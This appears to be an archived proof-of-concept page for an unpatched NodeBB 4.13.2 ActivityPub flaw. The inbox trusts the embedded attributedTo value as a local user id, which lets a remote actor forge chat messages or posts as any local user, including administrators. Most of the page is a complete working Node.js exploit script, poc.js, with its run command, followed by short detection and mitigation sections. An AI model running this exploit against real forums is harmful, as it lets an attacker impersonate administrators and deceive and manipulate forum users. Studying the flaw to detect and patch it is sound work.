PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

NodeBB ActivityPub attributedTo Local UID Spoof

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
web
Affected product
NodeBB — ActivityPub server-to-server inbox
Affected versions
4.13.2 (verified against tag v4.13.2)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsnodebb, activitypub, federation, authentication-bypass, spoofing, uid-forgery, forum-software, nodejs
RelatedN/A

Affected Target

FieldValue
Software / SystemNodeBB — ActivityPub server-to-server inbox
Versions Affected4.13.2 (verified against tag v4.13.2)
Language / PlatformNode.js (target); Node.js stdlib-only PoC (poc.js)
Authentication RequiredNo (attacker only needs a self-hosted ActivityPub actor with a signing key, not a NodeBB account)
Network Access RequiredYes (attacker’s ActivityPub actor must be reachable over public HTTPS by the target NodeBB instance for signature verification and WebFinger)

Summary

NodeBB’s ActivityPub inbox authenticates the top-level signed actor of an incoming activity via HTTP Signatures, but never checks that the embedded Note.attributedTo field — used later as the internal local user id for chat message and post authorship — actually matches that authenticated actor. A remote, unauthenticated ActivityPub actor can therefore submit a signed Create(Note) activity whose attributedTo field is simply set to a numeric value like 1, and NodeBB will accept that number directly as a local uid, creating a private chat message (or, via the public-note path, a forum post) that appears to originate from that local account — commonly the first administrator on a clean install. The researcher validated this end-to-end against a stock NodeBB 4.13.2 install with the default MongoDB adapter, confirming the forged message is persisted with fromuid set to the spoofed uid and visible to the targeted recipient. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

src/middleware/activitypub.js verifies the HTTP signature of the top-level ActivityPub actor, but the private-message chain (activitypub.notes.assertPrivate()activitypub.mocks.message()) and the public-note chain independently read the embedded Note.attributedTo value and use it directly as the internal local uid for message/post authorship, with no equality check against the authenticated top-level actor.

Attack Vector

  1. Attacker generates an RSA key pair and hosts a minimal ActivityPub actor and WebFinger endpoint on a publicly reachable HTTPS origin.
  2. Attacker signs and sends a Create(Note) activity to the target NodeBB instance’s /inbox, with the embedded Note.attributedTo set to a numeric local uid (e.g., 1, typically the first admin) and a chosen recipient uid.
  3. NodeBB’s inbox middleware verifies the HTTP signature against the attacker’s own (legitimately signed) actor and accepts the request.
  4. activitypub.mocks.message() reads object.attributedTo and stores it directly as message.uid without validating it against the authenticated actor.
  5. messaging.newRoom() and messaging.addMessage() persist a chat message with fromuid set to the forged local uid, delivered to the attacker-selected recipient.
  6. The same unbound attributedTo handling also affects the public Create(Note) path, allowing forged authorship of public forum posts under an arbitrary local uid.

Impact

A remote, unauthenticated federated actor can forge private chat messages or public forum posts that appear to originate from any local NodeBB user — including administrators — enabling social-engineering, impersonation, and potential further compromise of trust-based moderation/admin workflows.


Environment / Lab Setup

Target:   NodeBB 4.13.2 with ActivityPub enabled, stock MongoDB adapter
Attacker: Node.js 20+, a public HTTPS origin/tunnel for the attacker's ActivityPub actor

Proof of Concept

PoC Script

See poc.js in this folder.

1
2
3
4
5
6
7
8
node poc.js \
  --target-base https://target-nodebb.example \
  --actor-origin https://attacker.example \
  --recipient-uid 2 \
  --spoof-uid 1 \
  --listen-host 127.0.0.1 \
  --listen-port 8088 \
  --output evidence.json

The script hosts a minimal ActivityPub actor and WebFinger responder, signs a Create(Note) activity with attributedTo set to the chosen spoof uid, sends it to the target’s /inbox, and prints the resulting activity/note IDs and HTTP response, confirming the forged private chat message was accepted and stored under the spoofed local uid.


Detection & Indicators of Compromise

Signs of compromise:

  • Chat messages or posts attributed to local users (especially admins) that those users did not send
  • Chat message IDs formatted as remote ActivityPub note URLs (https://<attacker-origin>/private-notes/...) stored against a local fromuid
  • Inbound Create(Note) activities from unfamiliar/newly-registered ActivityPub actors with numeric attributedTo values

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationRequire Note.attributedTo to be an ActivityPub actor URI (not a bare local uid), reject numeric attributedTo values inbound, and assert the embedded actor matches the authenticated top-level actor before any local uid mapping occurs; apply consistently to private messages, public notes, updates, and announces

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: nodebb-activitypub-attributedto-local-uid-spoof-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
'use strict';

const fs = require('node:fs');
const http = require('node:http');
const https = require('node:https');
const crypto = require('node:crypto');

function parseArgs(argv) {
	const out = {};
	for (let i = 2; i < argv.length; i += 1) {
		const arg = argv[i];
		if (!arg.startsWith('--')) {
			throw new Error(`unexpected argument: ${arg}`);
		}
		const key = arg.slice(2);
		const next = argv[i + 1];
		if (!next || next.startsWith('--')) {
			out[key] = true;
		} else {
			out[key] = next;
			i += 1;
		}
	}
	return out;
}

function need(args, key) {
	if (!args[key]) {
		throw new Error(`missing --${key}`);
	}
	return args[key];
}

function cleanOrigin(value) {
	const url = new URL(value);
	return url.origin;
}

function cleanBase(value) {
	const url = new URL(value);
	return url.href.replace(/\/$/, '');
}

function join(base, suffix) {
	const root = base.endsWith('/') ? base : `${base}/`;
	return new URL(suffix.replace(/^\//, ''), root).href;
}

function sendJson(res, status, value, type = 'application/activity+json') {
	const body = JSON.stringify(value);
	res.writeHead(status, {
		'content-type': type,
		'content-length': Buffer.byteLength(body),
	});
	res.end(body);
}

function readBody(req) {
	return new Promise((resolve, reject) => {
		const chunks = [];
		req.on('data', chunk => chunks.push(chunk));
		req.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
		req.on('error', reject);
	});
}

function makeServer({ actorOrigin, username, publicKeyPem }) {
	const actorUrl = join(actorOrigin, `/users/${encodeURIComponent(username)}`);
	const keyId = `${actorUrl}#main-key`;
	const host = new URL(actorOrigin).hostname;
	const actor = {
		'@context': [
			'https://www.w3.org/ns/activitystreams',
			'https://w3id.org/security/v1',
		],
		id: actorUrl,
		type: 'Person',
		preferredUsername: username,
		name: username,
		inbox: join(actorOrigin, `/users/${encodeURIComponent(username)}/inbox`),
		publicKey: {
			id: keyId,
			owner: actorUrl,
			publicKeyPem,
		},
	};
	const webfinger = {
		subject: `acct:${username}@${host}`,
		links: [
			{
				rel: 'self',
				type: 'application/activity+json',
				href: actorUrl,
			},
		],
	};
	const received = [];
	const handler = async (req, res) => {
		try {
			const url = new URL(req.url, actorOrigin);
			if (req.method === 'GET' && url.pathname === '/.well-known/webfinger') {
				return sendJson(res, 200, webfinger, 'application/jrd+json');
			}
			if (req.method === 'GET' && url.pathname === new URL(actorUrl).pathname) {
				return sendJson(res, 200, actor);
			}
			if (req.method === 'POST') {
				received.push({ path: url.pathname, body: await readBody(req) });
				return sendJson(res, 202, { ok: true });
			}
			return sendJson(res, 404, { error: 'not found' });
		} catch (err) {
			return sendJson(res, 500, { error: err.message });
		}
	};
	return { handler, actorUrl, keyId, received };
}

function listen(server, host, port) {
	return new Promise((resolve, reject) => {
		server.once('error', reject);
		server.listen(port, host, () => {
			server.off('error', reject);
			resolve();
		});
	});
}

function close(server) {
	return new Promise(resolve => server.close(resolve));
}

function signRequest({ inboxUrl, body, keyId, privateKeyPem }) {
	const url = new URL(inboxUrl);
	const digest = `SHA-256=${crypto.createHash('sha256').update(body).digest('base64')}`;
	const date = new Date().toUTCString();
	const headers = '(request-target) host date digest';
	const signingString = [
		`(request-target): post ${url.pathname}`,
		`host: ${url.host}`,
		`date: ${date}`,
		`digest: ${digest}`,
	].join('\n');
	const signature = crypto.sign('sha256', Buffer.from(signingString), privateKeyPem).toString('base64');
	return {
		date,
		digest,
		signature: `keyId="${keyId}",headers="${headers}",signature="${signature}",algorithm="hs2019"`,
	};
}

async function postActivity({ inboxUrl, activity, keyId, privateKeyPem }) {
	const body = JSON.stringify(activity);
	const signed = signRequest({ inboxUrl, body, keyId, privateKeyPem });
	const response = await fetch(inboxUrl, {
		method: 'POST',
		headers: {
			accept: 'application/activity+json',
			'content-type': 'application/activity+json',
			date: signed.date,
			digest: signed.digest,
			signature: signed.signature,
		},
		body,
		redirect: 'manual',
	});
	const responseText = await response.text();
	return {
		status: response.status,
		headers: Object.fromEntries(response.headers.entries()),
		body: responseText,
	};
}

async function main() {
	const args = parseArgs(process.argv);
	const targetBase = cleanBase(need(args, 'target-base'));
	const actorOrigin = cleanOrigin(need(args, 'actor-origin'));
	const username = args.username || 'mallory';
	const spoofUid = Number.parseInt(args['spoof-uid'] || '1', 10);
	const recipientUid = Number.parseInt(need(args, 'recipient-uid'), 10);
	const inboxUrl = args['inbox-url'] || join(targetBase, '/inbox');
	const message = args.message || `private message forged as uid ${spoofUid}`;
	const listenHost = args['listen-host'] || '127.0.0.1';
	const listenPort = Number.parseInt(args['listen-port'] || '8088', 10);
	const now = new Date().toISOString();
	const idSuffix = args.id || crypto.randomUUID();
	const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
		modulusLength: 2048,
		publicKeyEncoding: { type: 'spki', format: 'pem' },
		privateKeyEncoding: { type: 'pkcs8', format: 'pem' },
	});
	const actorServer = makeServer({
		actorOrigin,
		username,
		publicKeyPem: publicKey,
	});
	const server = args['https-cert'] && args['https-key'] ?
		https.createServer({
			cert: fs.readFileSync(args['https-cert']),
			key: fs.readFileSync(args['https-key']),
		}, actorServer.handler) :
		http.createServer(actorServer.handler);
	const activity = {
		'@context': 'https://www.w3.org/ns/activitystreams',
		id: join(actorOrigin, `/activities/private-create-${idSuffix}`),
		type: 'Create',
		actor: actorServer.actorUrl,
		to: [join(targetBase, `/uid/${recipientUid}`)],
		cc: [],
		object: {
			'@context': 'https://www.w3.org/ns/activitystreams',
			id: join(actorOrigin, `/private-notes/local-chat-spoof-${idSuffix}`),
			type: 'Note',
			attributedTo: spoofUid,
			content: `<p>${message.replace(/[<>&]/g, c => ({ '<': '&lt;', '>': '&gt;', '&': '&amp;' }[c]))}</p>`,
			published: now,
			updated: now,
			to: [join(targetBase, `/uid/${recipientUid}`)],
			cc: [],
		},
	};
	let result;
	await listen(server, listenHost, listenPort);
	try {
		const response = await postActivity({
			inboxUrl,
			activity,
			keyId: actorServer.keyId,
			privateKeyPem: privateKey,
		});
		result = {
			targetBase,
			inboxUrl,
			actor: actorServer.actorUrl,
			keyId: actorServer.keyId,
			activityId: activity.id,
			noteId: activity.object.id,
			spoofUid,
			recipientUid,
			httpStatus: response.status,
			accepted: response.status >= 200 && response.status < 300,
			responseBody: response.body,
			actorRequests: actorServer.received,
		};
	} finally {
		await close(server);
	}
	if (args.output) {
		fs.writeFileSync(args.output, `${JSON.stringify(result, null, 2)}\n`);
	}
	console.log(JSON.stringify(result, null, 2));
	if (!result.accepted) {
		process.exitCode = 2;
	}
}

main().catch((err) => {
	console.error(err.message);
	process.exit(1);
});